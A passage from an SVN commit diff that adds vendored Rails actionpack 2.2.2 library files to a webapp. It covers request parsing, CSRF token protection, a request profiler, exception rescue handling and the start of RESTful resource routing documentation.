+                end
+                next
+              end
+
+              if head and ( (EOL + boundary + EOL).size < buf.size )
+                content.print buf[0 ... (buf.size - (EOL + boundary + EOL).size)]
+                buf[0 ... (buf.size - (EOL + boundary + EOL).size)] = ""
+              end
+
+              c = if bufsize < body_size
+                    body.read(bufsize)
+                  else
+                    body.read(body_size)
+                  end
+              if c.nil? || c.empty?
+                raise EOFError, "bad content body"
+              end
+              buf.concat(c)
+              body_size -= c.size
+            end
+
+            buf = buf.sub(/\A((?:.|\n)*?)(?:[\r\n]{1,2})?#{quoted_boundary}([\r\n]{1,2}|--)/n) do
+              content.print $1
+              if "--" == $2
+                body_size = -1
+              end
+              boundary_end = $2.dup
+              ""
+            end
+
+            content.rewind
+
+            head =~ /Content-Disposition:.* filename=(?:"((?:\\.|[^\"])*)"|([^;]*))/ni
+            if filename = $1 || $2
+              if /Mac/ni.match(env['HTTP_USER_AGENT']) and
+                  /Mozilla/ni.match(env['HTTP_USER_AGENT']) and
+                  (not /MSIE/ni.match(env['HTTP_USER_AGENT']))
+                filename = CGI.unescape(filename)
+              end
+              content.original_path = filename.dup
+            end
+
+            head =~ /Content-Type: ([^\r]*)/ni
+            content.content_type = $1.dup if $1
+
+            head =~ /Content-Disposition:.* name="?([^\";]*)"?/ni
+            name = $1.dup if $1
+
+            if params.has_key?(name)
+              params[name].push(content)
+            else
+              params[name] = [content]
+            end
+            break if body_size == -1
+          end
+          raise EOFError, "bad boundary end of body part" unless boundary_end=~/--/
+
+          begin
+            body.rewind if body.respond_to?(:rewind)
+          rescue Errno::ESPIPE
+            # Handles exceptions raised by input streams that cannot be rewound
+            # such as when using plain CGI under Apache
+          end
+
+          params
+        end
+    end
+  end
+
+  class UrlEncodedPairParser < StringScanner #:nodoc:
+    attr_reader :top, :parent, :result
+
+    def initialize(pairs = [])
+      super('')
+      @result = {}
+      pairs.each { |key, value| parse(key, value) }
+    end
+
+    KEY_REGEXP = %r{([^\[\]=&]+)}
+    BRACKETED_KEY_REGEXP = %r{\[([^\[\]=&]+)\]}
+
+    # Parse the query string
+    def parse(key, value)
+      self.string = key
+      @top, @parent = result, nil
+
+      # First scan the bare key
+      key = scan(KEY_REGEXP) or return
+      key = post_key_check(key)
+
+      # Then scan as many nestings as present
+      until eos?
+        r = scan(BRACKETED_KEY_REGEXP) or return
+        key = self[1]
+        key = post_key_check(key)
+      end
+
+      bind(key, value)
+    end
+
+    private
+      # After we see a key, we must look ahead to determine our next action. Cases:
+      #
+      #   [] follows the key. Then the value must be an array.
+      #   = follows the key. (A value comes next)
+      #   & or the end of string follows the key. Then the key is a flag.
+      #   otherwise, a hash follows the key.
+      def post_key_check(key)
+        if scan(/\[\]/) # a[b][] indicates that b is an array
+          container(key, Array)
+          nil
+        elsif check(/\[[^\]]/) # a[b] indicates that a is a hash
+          container(key, Hash)
+          nil
+        else # End of key? We do nothing.
+          key
+        end
+      end
+
+      # Add a container to the stack.
+      def container(key, klass)
+        type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass)
+        value = bind(key, klass.new)
+        type_conflict! klass, value unless value.is_a?(klass)
+        push(value)
+      end
+
+      # Push a value onto the 'stack', which is actually only the top 2 items.
+      def push(value)
+        @parent, @top = @top, value
+      end
+
+      # Bind a key (which may be nil for items in an array) to the provided value.
+      def bind(key, value)
+        if top.is_a? Array
+          if key
+            if top[-1].is_a?(Hash) && ! top[-1].key?(key)
+              top[-1][key] = value
+            else
+              top << {key => value}.with_indifferent_access
+              push top.last
+              value = top[key]
+            end
+          else
+            top << value
+          end
+        elsif top.is_a? Hash
+          key = CGI.unescape(key)
+          parent << (@top = {}) if top.key?(key) && parent.is_a?(Array)
+          top[key] ||= value
+          return top[key]
+        else
+          raise ArgumentError, "Don't know what to do: top is #{top.inspect}"
+        end
+
+        return value
+      end
+
+      def type_conflict!(klass, value)
+        raise TypeError, "Conflicting types for parameter containers. Expected an instance of #{klass} but found an instance of #{value.class}. This can be caused by colliding Array and Hash parameters like qs[]=value&qs[key]=value. (The parameters received were #{value.inspect}.)"
+      end
+  end
+
+  module UploadedFile
+    def self.included(base)
+      base.class_eval do
+        attr_accessor :original_path, :content_type
+        alias_method :local_path, :path
+      end
+    end
+
+    # Take the basename of the upload's original filename.
+    # This handles the full Windows paths given by Internet Explorer
+    # (and perhaps other broken user agents) without affecting
+    # those which give the lone filename.
+    # The Windows regexp is adapted from Perl's File::Basename.
+    def original_filename
+      unless defined? @original_filename
+        @original_filename =
+          unless original_path.blank?
+            if original_path =~ /^(?:.*[:\\\/])?(.*)/m
+              $1
+            else
+              File.basename original_path
+            end
+          end
+      end
+      @original_filename
+    end
+  end
+
+  class UploadedStringIO < StringIO
+    include UploadedFile
+  end
+
+  class UploadedTempfile < Tempfile
+    include UploadedFile
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request_forgery_protection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request_forgery_protection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request_forgery_protection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,140 @@
+module ActionController #:nodoc:
+  class InvalidAuthenticityToken < ActionControllerError #:nodoc:
+  end
+
+  module RequestForgeryProtection
+    def self.included(base)
+      base.class_eval do
+        class_inheritable_accessor :request_forgery_protection_options
+        self.request_forgery_protection_options = {}
+        helper_method :form_authenticity_token
+        helper_method :protect_against_forgery?
+      end
+      base.extend(ClassMethods)
+    end
+    
+    # Protecting controller actions from CSRF attacks by ensuring that all forms are coming from the current web application, not a
+    # forged link from another site, is done by embedding a token based on the session (which an attacker wouldn't know) in all
+    # forms and Ajax requests generated by Rails and then verifying the authenticity of that token in the controller.  Only
+    # HTML/JavaScript requests are checked, so this will not protect your XML API (presumably you'll have a different authentication
+    # scheme there anyway).  Also, GET requests are not protected as these should be idempotent anyway.
+    #
+    # This is turned on with the <tt>protect_from_forgery</tt> method, which will check the token and raise an
+    # ActionController::InvalidAuthenticityToken if it doesn't match what was expected. You can customize the error message in
+    # production by editing public/422.html.  A call to this method in ApplicationController is generated by default in post-Rails 2.0
+    # applications.
+    #
+    # The token parameter is named <tt>authenticity_token</tt> by default. If you are generating an HTML form manually (without the
+    # use of Rails' <tt>form_for</tt>, <tt>form_tag</tt> or other helpers), you have to include a hidden field named like that and
+    # set its value to what is returned by <tt>form_authenticity_token</tt>. Same applies to manually constructed Ajax requests. To
+    # make the token available through a global variable to scripts on a certain page, you could add something like this to a view:
+    #
+    #   <%= javascript_tag "window._token = '#{form_authenticity_token}'" %>
+    #
+    # Request forgery protection is disabled by default in test environment.  If you are upgrading from Rails 1.x, add this to
+    # config/environments/test.rb:
+    #
+    #   # Disable request forgery protection in test environment
+    #   config.action_controller.allow_forgery_protection = false
+    # 
+    # == Learn more about CSRF (Cross-Site Request Forgery) attacks
+    #
+    # Here are some resources:
+    # * http://isc.sans.org/diary.html?storyid=1750
+    # * http://en.wikipedia.org/wiki/Cross-site_request_forgery
+    #
+    # Keep in mind, this is NOT a silver-bullet, plug 'n' play, warm security blanket for your rails application.
+    # There are a few guidelines you should follow:
+    # 
+    # * Keep your GET requests safe and idempotent.  More reading material:
+    #   * http://www.xml.com/pub/a/2002/04/24/deviant.html
+    #   * http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1
+    # * Make sure the session cookies that Rails creates are non-persistent.  Check in Firefox and look for "Expires: at end of session"
+    #
+    module ClassMethods
+      # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
+      #
+      # Example:
+      #
+      #   class FooController < ApplicationController
+      #     # uses the cookie session store (then you don't need a separate :secret)
+      #     protect_from_forgery :except => :index
+      #
+      #     # uses one of the other session stores that uses a session_id value.
+      #     protect_from_forgery :secret => 'my-little-pony', :except => :index
+      #
+      #     # you can disable csrf protection on controller-by-controller basis:
+      #     skip_before_filter :verify_authenticity_token
+      #   end
+      #
+      # Valid Options:
+      #
+      # * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call.  Set which actions are verified.
+      # * <tt>:secret</tt> - Custom salt used to generate the <tt>form_authenticity_token</tt>.
+      #   Leave this off if you are using the cookie session store.
+      # * <tt>:digest</tt> - Message digest used for hashing.  Defaults to 'SHA1'.
+      def protect_from_forgery(options = {})
+        self.request_forgery_protection_token ||= :authenticity_token
+        before_filter :verify_authenticity_token, :only => options.delete(:only), :except => options.delete(:except)
+        request_forgery_protection_options.update(options)
+      end
+    end
+
+    protected
+      # The actual before_filter that is used.  Modify this to change how you handle unverified requests.
+      def verify_authenticity_token
+        verified_request? || raise(ActionController::InvalidAuthenticityToken)
+      end
+      
+      # Returns true or false if a request is verified.  Checks:
+      #
+      # * is the format restricted?  By default, only HTML and AJAX requests are checked.
+      # * is it a GET request?  Gets should be safe and idempotent
+      # * Does the form_authenticity_token match the given _token value from the params?
+      def verified_request?
+        !protect_against_forgery?     ||
+          request.method == :get      ||
+          !verifiable_request_format? ||
+          form_authenticity_token == params[request_forgery_protection_token]
+      end
+    
+      def verifiable_request_format?
+        !request.content_type.nil? && request.content_type.verify_request?
+      end
+    
+      # Sets the token value for the current session.  Pass a <tt>:secret</tt> option
+      # in +protect_from_forgery+ to add a custom salt to the hash.
+      def form_authenticity_token
+        @form_authenticity_token ||= if !session.respond_to?(:session_id)
+          raise InvalidAuthenticityToken, "Request Forgery Protection requires a valid session.  Use #allow_forgery_protection to disable it, or use a valid session."
+        elsif request_forgery_protection_options[:secret]
+          authenticity_token_from_session_id
+        elsif session.respond_to?(:dbman) && session.dbman.respond_to?(:generate_digest)
+          authenticity_token_from_cookie_session
+        else
+          raise InvalidAuthenticityToken, "No :secret given to the #protect_from_forgery call.  Set that or use a session store capable of generating its own keys (Cookie Session Store)."
+        end
+      end
+      
+      # Generates a unique digest using the session_id and the CSRF secret.
+      def authenticity_token_from_session_id
+        key = if request_forgery_protection_options[:secret].respond_to?(:call)
+          request_forgery_protection_options[:secret].call(@session)
+        else
+          request_forgery_protection_options[:secret]
+        end
+        digest = request_forgery_protection_options[:digest] ||= 'SHA1'
+        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(digest), key.to_s, session.session_id.to_s)
+      end
+      
+      # No secret was given, so assume this is a cookie session store.
+      def authenticity_token_from_cookie_session
+        session[:csrf_id] ||= CGI::Session.generate_unique_id
+        session.dbman.generate_digest(session[:csrf_id])
+      end
+      
+      def protect_against_forgery?
+        allow_forgery_protection && request_forgery_protection_token
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request_profiler.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request_profiler.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request_profiler.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,169 @@
+require 'optparse'
+require 'action_controller/integration'
+
+module ActionController
+  class RequestProfiler
+    # Wrap up the integration session runner.
+    class Sandbox
+      include Integration::Runner
+
+      def self.benchmark(n, script)
+        new(script).benchmark(n)
+      end
+
+      def initialize(script_path)
+        @quiet = false
+        define_run_method(script_path)
+        reset!
+      end
+
+      def benchmark(n, profiling = false)
+        @quiet = true
+        print '  '
+
+        result = Benchmark.realtime do
+          n.times do |i|
+            run(profiling)
+            print_progress(i)
+          end
+        end
+
+        puts
+        result
+      ensure
+        @quiet = false
+      end
+
+      def say(message)
+        puts "  #{message}" unless @quiet
+      end
+
+      private
+        def define_run_method(script_path)
+          script = File.read(script_path)
+
+          source = <<-end_source
+            def run(profiling = false)
+              if profiling
+                RubyProf.resume do
+                  #{script}
+                end
+              else
+                #{script}
+              end
+
+              old_request_count = request_count
+              reset!
+              self.request_count = old_request_count
+            end
+          end_source
+
+          instance_eval source, script_path, 1
+        end
+
+        def print_progress(i)
+          print "\n  " if i % 60 == 0
+          print ' ' if i % 10 == 0
+          print '.'
+          $stdout.flush
+        end
+    end
+
+
+    attr_reader :options
+
+    def initialize(options = {})
+      @options = default_options.merge(options)
+    end
+
+
+    def self.run(args = nil, options = {})
+      profiler = new(options)
+      profiler.parse_options(args) if args
+      profiler.run
+    end
+
+    def run
+      sandbox = Sandbox.new(options[:script])
+
+      puts 'Warming up once'
+
+      elapsed = warmup(sandbox)
+      puts '%.2f sec, %d requests, %d req/sec' % [elapsed, sandbox.request_count, sandbox.request_count / elapsed]
+      puts "\n#{options[:benchmark] ? 'Benchmarking' : 'Profiling'} #{options[:n]}x"
+
+      options[:benchmark] ? benchmark(sandbox) : profile(sandbox)
+    end
+
+    def profile(sandbox)
+      load_ruby_prof
+
+      benchmark(sandbox, true)
+      results = RubyProf.stop
+
+      show_profile_results results
+      results
+    end
+
+    def benchmark(sandbox, profiling = false)
+      sandbox.request_count = 0
+      elapsed = sandbox.benchmark(options[:n], profiling).to_f
+      count = sandbox.request_count.to_i
+      puts '%.2f sec, %d requests, %d req/sec' % [elapsed, count, count / elapsed]
+    end
+
+    def warmup(sandbox)
+      Benchmark.realtime { sandbox.run(false) }
+    end
+
+    def default_options
+      { :n => 100, :open => 'open %s &' }
+    end
+
+    # Parse command-line options
+    def parse_options(args)
+      OptionParser.new do |opt|
+        opt.banner = "USAGE: #{$0} [options] [session script path]"
+
+        opt.on('-n', '--times [100]', 'How many requests to process. Defaults to 100.') { |v| options[:n] = v.to_i if v }
+        opt.on('-b', '--benchmark', 'Benchmark instead of profiling') { |v| options[:benchmark] = v }
+        opt.on('-m', '--measure [mode]', 'Which ruby-prof measure mode to use: process_time, wall_time, cpu_time, allocations, or memory. Defaults to process_time.') { |v| options[:measure] = v }
+        opt.on('--open [CMD]', 'Command to open profile results. Defaults to "open %s &"') { |v| options[:open] = v }
+        opt.on('-h', '--help', 'Show this help') { puts opt; exit }
+
+        opt.parse args
+
+        if args.empty?
+          puts opt
+          exit
+        end
+        options[:script] = args.pop
+      end
+    end
+
+    protected
+      def load_ruby_prof
+        begin
+          gem 'ruby-prof', '>= 0.6.1'
+          require 'ruby-prof'
+          if mode = options[:measure]
+            RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
+          end
+        rescue LoadError
+          abort '`gem install ruby-prof` to use the profiler'
+        end
+      end
+
+      def show_profile_results(results)
+        File.open "#{RAILS_ROOT}/tmp/profile-graph.html", 'w' do |file|
+          RubyProf::GraphHtmlPrinter.new(results).print(file)
+          `#{options[:open] % file.path}` if options[:open]
+        end
+
+        File.open "#{RAILS_ROOT}/tmp/profile-flat.txt", 'w' do |file|
+          RubyProf::FlatPrinter.new(results).print(file)
+          `#{options[:open] % file.path}` if options[:open]
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/rescue.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/rescue.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/rescue.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+module ActionController #:nodoc:
+  # Actions that fail to perform as expected throw exceptions. These exceptions can either be rescued for the public view
+  # (with a nice user-friendly explanation) or for the developers view (with tons of debugging information). The developers view
+  # is already implemented by the Action Controller, but the public view should be tailored to your specific application. 
+  # 
+  # The default behavior for public exceptions is to render a static html file with the name of the error code thrown.  If no such 
+  # file exists, an empty response is sent with the correct status code.
+  #
+  # You can override what constitutes a local request by overriding the <tt>local_request?</tt> method in your own controller.
+  # Custom rescue behavior is achieved by overriding the <tt>rescue_action_in_public</tt> and <tt>rescue_action_locally</tt> methods.
+  module Rescue
+    LOCALHOST = '127.0.0.1'.freeze
+
+    DEFAULT_RESCUE_RESPONSE = :internal_server_error
+    DEFAULT_RESCUE_RESPONSES = {
+      'ActionController::RoutingError'             => :not_found,
+      'ActionController::UnknownAction'            => :not_found,
+      'ActiveRecord::RecordNotFound'               => :not_found,
+      'ActiveRecord::StaleObjectError'             => :conflict,
+      'ActiveRecord::RecordInvalid'                => :unprocessable_entity,
+      'ActiveRecord::RecordNotSaved'               => :unprocessable_entity,
+      'ActionController::MethodNotAllowed'         => :method_not_allowed,
+      'ActionController::NotImplemented'           => :not_implemented,
+      'ActionController::InvalidAuthenticityToken' => :unprocessable_entity
+    }
+
+    DEFAULT_RESCUE_TEMPLATE = 'diagnostics'
+    DEFAULT_RESCUE_TEMPLATES = {
+      'ActionView::MissingTemplate'       => 'missing_template',
+      'ActionController::RoutingError'    => 'routing_error',
+      'ActionController::UnknownAction'   => 'unknown_action',
+      'ActionView::TemplateError'         => 'template_error'
+    }
+
+    def self.included(base) #:nodoc:
+      base.cattr_accessor :rescue_responses
+      base.rescue_responses = Hash.new(DEFAULT_RESCUE_RESPONSE)
+      base.rescue_responses.update DEFAULT_RESCUE_RESPONSES
+
+      base.cattr_accessor :rescue_templates
+      base.rescue_templates = Hash.new(DEFAULT_RESCUE_TEMPLATE)
+      base.rescue_templates.update DEFAULT_RESCUE_TEMPLATES
+
+      base.extend(ClassMethods)
+      base.send :include, ActiveSupport::Rescuable
+
+      base.class_eval do
+        alias_method_chain :perform_action, :rescue
+      end
+    end
+
+    module ClassMethods
+      def process_with_exception(request, response, exception) #:nodoc:
+        new.process(request, response, :rescue_action, exception)
+      end
+    end
+
+    protected
+      # Exception handler called when the performance of an action raises an exception.
+      def rescue_action(exception)
+        rescue_with_handler(exception) || rescue_action_without_handler(exception)
+      end
+
+      # Overwrite to implement custom logging of errors. By default logs as fatal.
+      def log_error(exception) #:doc:
+        ActiveSupport::Deprecation.silence do
+          if ActionView::TemplateError === exception
+            logger.fatal(exception.to_s)
+          else
+            logger.fatal(
+              "\n\n#{exception.class} (#{exception.message}):\n    " +
+              clean_backtrace(exception).join("\n    ") +
+              "\n\n"
+            )
+          end
+        end
+      end
+
+      # Overwrite to implement public exception handling (for requests answering false to <tt>local_request?</tt>).  By
+      # default will call render_optional_error_file.  Override this method to provide more user friendly error messages.
+      def rescue_action_in_public(exception) #:doc:
+        render_optional_error_file response_code_for_rescue(exception)
+      end
+      
+      # Attempts to render a static error page based on the <tt>status_code</tt> thrown,
+      # or just return headers if no such file exists. For example, if a 500 error is 
+      # being handled Rails will first attempt to render the file at <tt>public/500.html</tt>. 
+      # If the file doesn't exist, the body of the response will be left empty.
+      def render_optional_error_file(status_code)
+        status = interpret_status(status_code)
+        path = "#{Rails.public_path}/#{status[0,3]}.html"
+        if File.exist?(path)
+          render :file => path, :status => status
+        else
+          head status
+        end
+      end
+
+      # True if the request came from localhost, 127.0.0.1. Override this
+      # method if you wish to redefine the meaning of a local request to
+      # include remote IP addresses or other criteria.
+      def local_request? #:doc:
+        request.remote_addr == LOCALHOST && request.remote_ip == LOCALHOST
+      end
+
+      # Render detailed diagnostics for unhandled exceptions rescued from
+      # a controller action.
+      def rescue_action_locally(exception)
+        @template.instance_variable_set("@exception", exception)
+        @template.instance_variable_set("@rescues_path", File.dirname(rescues_path("stub")))
+        @template.instance_variable_set("@contents", @template.render(:file => template_path_for_local_rescue(exception)))
+
+        response.content_type = Mime::HTML
+        render_for_file(rescues_path("layout"), response_code_for_rescue(exception))
+      end
+
+      def rescue_action_without_handler(exception)
+        log_error(exception) if logger
+        erase_results if performed?
+
+        # Let the exception alter the response if it wants.
+        # For example, MethodNotAllowed sets the Allow header.
+        if exception.respond_to?(:handle_response!)
+          exception.handle_response!(response)
+        end
+
+        if consider_all_requests_local || local_request?
+          rescue_action_locally(exception)
+        else
+          rescue_action_in_public(exception)
+        end
+      end
+
+    private
+      def perform_action_with_rescue #:nodoc:
+        perform_action_without_rescue
+      rescue Exception => exception
+        rescue_action(exception)
+      end
+
+      def rescues_path(template_name)
+        "#{File.dirname(__FILE__)}/templates/rescues/#{template_name}.erb"
+      end
+
+      def template_path_for_local_rescue(exception)
+        rescues_path(rescue_templates[exception.class.name])
+      end
+
+      def response_code_for_rescue(exception)
+        rescue_responses[exception.class.name]
+      end
+
+      def clean_backtrace(exception)
+        if backtrace = exception.backtrace
+          if defined?(RAILS_ROOT)
+            backtrace.map { |line| line.sub RAILS_ROOT, '' }
+          else
+            backtrace
+          end
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/resources.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/resources.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/resources.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,675 @@
+module ActionController
+  # == Overview
+  #
+  # ActionController::Resources are a way of defining RESTful \resources.  A RESTful \resource, in basic terms,
+  # is something that can be pointed at and it will respond with a representation of the data requested.
+  # In real terms this could mean a user with a browser requests an HTML page, or that a desktop application
+  # requests XML data.
+  #
+  # RESTful design is based on the assumption that there are four generic verbs that a user of an
+  # application can request from a \resource (the noun).
+  #
+  # \Resources can be requested using four basic HTTP verbs (GET, POST, PUT, DELETE), the method used
+  # denotes the type of action that should take place.
+  #
+  # === The Different Methods and their Usage
+  #
+  # * GET    - Requests for a \resource, no saving or editing of a \resource should occur in a GET request.
+  # * POST   - Creation of \resources.
+  # * PUT    - Editing of attributes on a \resource.
+  # * DELETE - Deletion of a \resource.
+  #
+  # === Examples
+  #
+  #   # A GET request on the Posts resource is asking for all Posts
+  #   GET /posts
+  #
+  #   # A GET request on a single Post resource is asking for that particular Post
+  #   GET /posts/1
+  #
+  #   # A POST request on the Posts resource is asking for a Post to be created with the supplied details
+  #   POST /posts # with => { :post => { :title => "My Whizzy New Post", :body => "I've got a brand new combine harvester" } }
+  #
+  #   # A PUT request on a single Post resource is asking for a Post to be updated
+  #   PUT /posts # with => { :id => 1, :post => { :title => "Changed Whizzy Title" } }
+  #
+  #   # A DELETE request on a single Post resource is asking for it to be deleted
+  #   DELETE /posts # with => { :id => 1 }
+  #
+  # By using the REST convention, users of our application can assume certain things about how the data
+  # is requested and how it is returned.  Rails simplifies the routing part of RESTful design by
+  # supplying you with methods to create them in your routes.rb file.
+  #
+  # Read more about REST at http://en.wikipedia.org/wiki/Representational_State_Transfer
+  module Resources
+    INHERITABLE_OPTIONS = :namespace, :shallow, :actions
+
+    class Resource #:nodoc:
+      DEFAULT_ACTIONS = :index, :create, :new, :edit, :show, :update, :destroy
+
+      attr_reader :collection_methods, :member_methods, :new_methods
+      attr_reader :path_prefix, :name_prefix, :path_segment
+      attr_reader :plural, :singular
+      attr_reader :options
+
+      def initialize(entities, options)
+        @plural   ||= entities
+        @singular ||= options[:singular] || plural.to_s.singularize
+        @path_segment = options.delete(:as) || @plural
+
+        @options = options
+
+        arrange_actions
+        add_default_actions
+        set_allowed_actions
+        set_prefixes
+      end
+
+      def controller
+        @controller ||= "#{options[:namespace]}#{(options[:controller] || plural).to_s}"
+      end
+
+      def requirements(with_id = false)
+        @requirements   ||= @options[:requirements] || {}
+        @id_requirement ||= { :id => @requirements.delete(:id) || /[^#{Routing::SEPARATORS.join}]+/ }
+
+        with_id ? @requirements.merge(@id_requirement) : @requirements
+      end
+
+      def conditions
+        @conditions ||= @options[:conditions] || {}
+      end
+
+      def path
+        @path ||= "#{path_prefix}/#{path_segment}"
+      end
+
+      def new_path
+        new_action   = self.options[:path_names][:new] if self.options[:path_names]
+        new_action ||= Base.resources_path_names[:new]
+        @new_path  ||= "#{path}/#{new_action}"
+      end
+
+      def shallow_path_prefix
+        @shallow_path_prefix ||= "#{path_prefix unless @options[:shallow]}"
+      end
+
+      def member_path
+        @member_path ||= "#{shallow_path_prefix}/#{path_segment}/:id"
+      end
+
+      def nesting_path_prefix
+        @nesting_path_prefix ||= "#{shallow_path_prefix}/#{path_segment}/:#{singular}_id"
+      end
+
+      def shallow_name_prefix
+        @shallow_name_prefix ||= "#{name_prefix unless @options[:shallow]}"
+      end
+
+      def nesting_name_prefix
+        "#{shallow_name_prefix}#{singular}_"
+      end
+
+      def action_separator
+        @action_separator ||= Base.resource_action_separator
+      end
+
+      def uncountable?
+        @singular.to_s == @plural.to_s
+      end
+
+      def has_action?(action)
+        !DEFAULT_ACTIONS.include?(action) || @options[:actions].nil? || @options[:actions].include?(action)
+      end
+
+      protected
+        def arrange_actions
+          @collection_methods = arrange_actions_by_methods(options.delete(:collection))
+          @member_methods     = arrange_actions_by_methods(options.delete(:member))
+          @new_methods        = arrange_actions_by_methods(options.delete(:new))
+        end
+
+        def add_default_actions
+          add_default_action(member_methods, :get, :edit)
+          add_default_action(new_methods, :get, :new)
+        end
+
+        def set_allowed_actions
+          only    = @options.delete(:only)
+          except  = @options.delete(:except)
+
+          if only && except
+            raise ArgumentError, 'Please supply either :only or :except, not both.'
+          elsif only == :all || except == :none
+            options[:actions] = DEFAULT_ACTIONS
+          elsif only == :none || except == :all
+            options[:actions] = []
+          elsif only
+            options[:actions] = DEFAULT_ACTIONS & Array(only).map(&:to_sym)
+          elsif except
+            options[:actions] = DEFAULT_ACTIONS - Array(except).map(&:to_sym)
+          else
+            # leave options[:actions] alone
+          end
+        end
+
+        def set_prefixes
+          @path_prefix = options.delete(:path_prefix)
+          @name_prefix = options.delete(:name_prefix)
+        end
+
+        def arrange_actions_by_methods(actions)
+          (actions || {}).inject({}) do |flipped_hash, (key, value)|
+            (flipped_hash[value] ||= []) << key
+            flipped_hash
+          end
+        end
+
+        def add_default_action(collection, method, action)
+          (collection[method] ||= []).unshift(action)
+        end
+    end
+
+    class SingletonResource < Resource #:nodoc:
+      def initialize(entity, options)
+        @singular = @plural = entity
+        options[:controller] ||= @singular.to_s.pluralize
+        super
+      end
+
+      alias_method :shallow_path_prefix, :path_prefix
+      alias_method :shallow_name_prefix, :name_prefix
+      alias_method :member_path,         :path
+      alias_method :nesting_path_prefix, :path
+    end
+
+    # Creates named routes for implementing verb-oriented controllers
+    # for a collection \resource.
+    #
+    # For example:
+    #
+    #   map.resources :messages
+    #
+    # will map the following actions in the corresponding controller:
+    #
+    #   class MessagesController < ActionController::Base
+    #     # GET messages_url
+    #     def index
+    #       # return all messages
+    #     end
+    #
+    #     # GET new_message_url
+    #     def new
+    #       # return an HTML form for describing a new message
+    #     end
+    #
+    #     # POST messages_url
+    #     def create
+    #       # create a new message
+    #     end
+    #
+    #     # GET message_url(:id => 1)
+    #     def show
+    #       # find and return a specific message
+    #     end
+    #
+    #     # GET edit_message_url(:id => 1)
+    #     def edit
+    #       # return an HTML form for editing a specific message
+    #     end
+    #
+    #     # PUT message_url(:id => 1)
+    #     def update
+    #       # find and update a specific message
+    #     end
+    #
+    #     # DELETE message_url(:id => 1)
+    #     def destroy
+    #       # delete a specific message
+    #     end
+    #   end
+    #
+    # Along with the routes themselves, +resources+ generates named routes for use in
+    # controllers and views. <tt>map.resources :messages</tt> produces the following named routes and helpers:
+    #
+    #   Named Route   Helpers
+    #   ============  =====================================================
+    #   messages      messages_url, hash_for_messages_url,
+    #                 messages_path, hash_for_messages_path
+    #
+    #   message       message_url(id), hash_for_message_url(id),
+    #                 message_path(id), hash_for_message_path(id)
+    #
+    #   new_message   new_message_url, hash_for_new_message_url,
+    #                 new_message_path, hash_for_new_message_path
+    #
+    #   edit_message  edit_message_url(id), hash_for_edit_message_url(id),
+    #                 edit_message_path(id), hash_for_edit_message_path(id)
+    #
+    # You can use these helpers instead of +url_for+ or methods that take +url_for+ parameters. For example:
+    #
+    #   redirect_to :controller => 'messages', :action => 'index'
+    #   # and
+    #   <%= link_to "edit this message", :controller => 'messages', :action => 'edit', :id => @message.id %>
+    #
+    # now become:
+    #
+    #   redirect_to messages_url
+    #   # and
+    #   <%= link_to "edit this message", edit_message_url(@message) # calls @message.id automatically
+    #
+    # Since web browsers don't support the PUT and DELETE verbs, you will need to add a parameter '_method' to your
+    # form tags. The form helpers make this a little easier. For an update form with a <tt>@message</tt> object:
+    #
+    #   <%= form_tag message_path(@message), :method => :put %>
+    #
+    # or
+    #
+    #   <% form_for :message, @message, :url => message_path(@message), :html => {:method => :put} do |f| %>
+    #
+    # or
+    #
+    #   <% form_for @message do |f| %>
+    #
+    # which takes into account whether <tt>@message</tt> is a new record or not and generates the
+    # path and method accordingly.
+    #
+    # The +resources+ method accepts the following options to customize the resulting routes:
+    # * <tt>:collection</tt> - Add named routes for other actions that operate on the collection.
+    #   Takes a hash of <tt>#{action} => #{method}</tt>, where method is <tt>:get</tt>/<tt>:post</tt>/<tt>:put</tt>/<tt>:delete</tt>,
+    #   an array of any of the previous, or <tt>:any</tt> if the method does not matter.
+    #   These routes map to a URL like /messages/rss, with a route of +rss_messages_url+.
+    # * <tt>:member</tt> - Same as <tt>:collection</tt>, but for actions that operate on a specific member.
+    # * <tt>:new</tt> - Same as <tt>:collection</tt>, but for actions that operate on the new \resource action.
+    # * <tt>:controller</tt> - Specify the controller name for the routes.
+    # * <tt>:singular</tt> - Specify the singular name used in the member routes.
+    # * <tt>:requirements</tt> - Set custom routing parameter requirements.
+    # * <tt>:conditions</tt> - Specify custom routing recognition conditions.  \Resources sets the <tt>:method</tt> value for the method-specific routes.
+    # * <tt>:as</tt> - Specify a different \resource name to use in the URL path. For example:
